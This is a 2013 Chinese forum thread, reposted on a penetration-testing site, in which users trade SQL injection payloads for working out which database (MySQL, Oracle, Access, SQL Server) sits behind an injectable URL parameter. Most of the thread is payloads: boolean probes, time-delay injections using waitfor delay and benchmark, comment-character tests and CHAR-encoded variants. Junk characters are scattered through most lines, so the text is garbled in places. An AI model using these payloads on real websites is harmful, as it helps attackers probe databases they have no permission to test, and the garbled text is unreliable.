中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库4 C+ \5 T8 \$ a1 M- l. ~
xsser (十根阳具有长短!!) | 2013-02-05 12:36
' j3 K- b8 h5 P: M/ z假设这么一个注射点:
- b! D7 o: m0 eshow.html?id=2; i  T. W  p( c" `
mysql:id=2 and version()>0
) V* Q1 d3 j" k* g& @$ horacle:id=2 and '1'||'1'='11
8 H; x$ g: c( w, u- J* [% H其他的欢迎补充
; n' o5 ]' v9 S$ h$ i# L& k1#0 i4 E# |: y" R  b7 E/ G9 c  M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
" [% {& Y  c  v$ {Access:* k6 [; C& A& ~  C& d
aNd aSc(cHr(97))=97% Q0 I- x3 K. @' p, m( t
and exists(select id from MSysAccessObjects)
+ U! e3 _+ c: QSQL Server:
" W8 L; a: ^& o% Band exists(select id from sysobjects)
# @5 F- o4 R. r+ hand length(user)>0" Y9 }9 w7 ?  M+ e
MySQL:* h5 u6 b4 a8 p2 `& ?$ O! M
and length(user())>0- W  k) V# x5 O# C/ W- v
2#
( O+ N# _9 v4 U( y: l1 mxsser (十根阳具有长短!!) | 2013-02-05 12:48
, S2 L7 f2 i* c" l1 F9 B' M+ o$ F9 c7 D@upload 如果这些都不是呢…
2 x: o+ E) L3 T& c3#$ k$ v6 F8 F% p  g( ?# }- l* W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
) |6 B) Q* K5 {% o+ A% v) p( A$ x@xsser 不快速的,延时注入9 n9 }7 \7 z2 n9 G$ p! Q, T
不知道这样写对不对
7 L; s6 V$ N$ F' N/ @; I5 kmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'9 M6 k# S; _; F6 D4 z
mysql:id=2 and select benchmark(1e8,current_date());5 M% t8 k/ a/ |9 @: ]- z
4#* ?9 j7 B; m( ]2 d0 r; x2 ~4 A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
* R- l" K/ d1 [; e最快的貌似是看报错信息
* N6 b5 M; d& E$ i; @+ }oracle error
% I/ E0 O# C7 i' Amssql error
' ]8 J- `3 M4 u" cmysql error
, W8 Q7 U9 v8 k5#' a* ]: j) G$ {3 s, v4 N) \( K
Nimda (你们都是坏银~) | 2013-02-05 13:14' a! Z$ @2 s' ^7 C( a# S- w' f: A+ f
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)! E! `. ^% A+ f3 t
6#2 x6 V) U$ M- w8 v& S* V0 l6 s
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21. E2 o8 r9 x# e+ Y9 Y
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:& H8 \& T. I; W4 }2 y1 l0 g. Y* e8 ^
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
2 @& W! o2 H* C  ]! \4 f“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
( o8 A2 U) o! b- Z2 I7#
2 M) P3 L- y$ }1 b_Evil (HackEnd) | 2013-02-05 13:33
; I9 w$ J1 B5 O) X! G* lPostgreSQL
$ @4 i3 H1 U$ U# {$ w' b$ B% s4 n8#5 h9 ^' U& ?1 a9 y) x
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42. H" ~* f8 V1 [7 j( H- r
切换编码 and 1=15 C! A' X; ~9 ~3 U7 T' o1 k
oracle:
, W* t. c3 c( j8 }CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)' }( H& K! H& X! f
mssql:/ w6 a" n& V% x
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)9 g! G8 o" P, n1 X
mysql:4 c. x6 c' E' x+ O4 N& `6 f
CHAR(97, 110, 100, 32, 49, 61, 49)
% m9 J& q- d2 _" M7 x4 Y4 T$ H9#
3 a" u, J/ q4 j- q$ M: T! d9 Nxsser (十根阳具有长短!!) | 2013-02-05 14:31
1 E/ V: @, q. y3 v, D  s) h/ }" g@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?* W& F- C/ j1 R
10#
; L; Y9 ]( {# G, w, |! W. R9 Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46, N8 s6 Y: D2 ~, s6 S9 b: D2 L
@xsser 是奇葩数据库类型的么?5 W4 }  _8 P. B6 z) X" ~3 R
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
) Q  {* _$ X2 V9 f* C- R- O7 F1.是否可以使用特定的函数来判断,该数据库特有的+ W, i; i9 E( i/ x6 I3 d) w
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
& P3 |: i% d8 K& G2 a) o. i7 B$ g3.是否可以编码查询/ p* [6 |) \, t" L; `; T/ U
4.是否显可以利用错信息( Z+ @) P+ v4 g
5.是否存在数据库某些特性辅助判断
2 L) I3 l1 ]% j* h个人见解
+ s. i9 ]* b* e# o3 T11#
1 U2 E# j7 ]& m! a! P* F小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55' ~! ]' w! {) t2 X2 V
已收藏,mssql可以直接看到错误提示的吧~" q1 b! H$ m7 Z# g' f
12#  U* w% c- E# t7 L
Passer_by | 2013-02-05 15:096 O% f3 z$ k# u: O  |
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。- M4 {  S& F. ^
from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2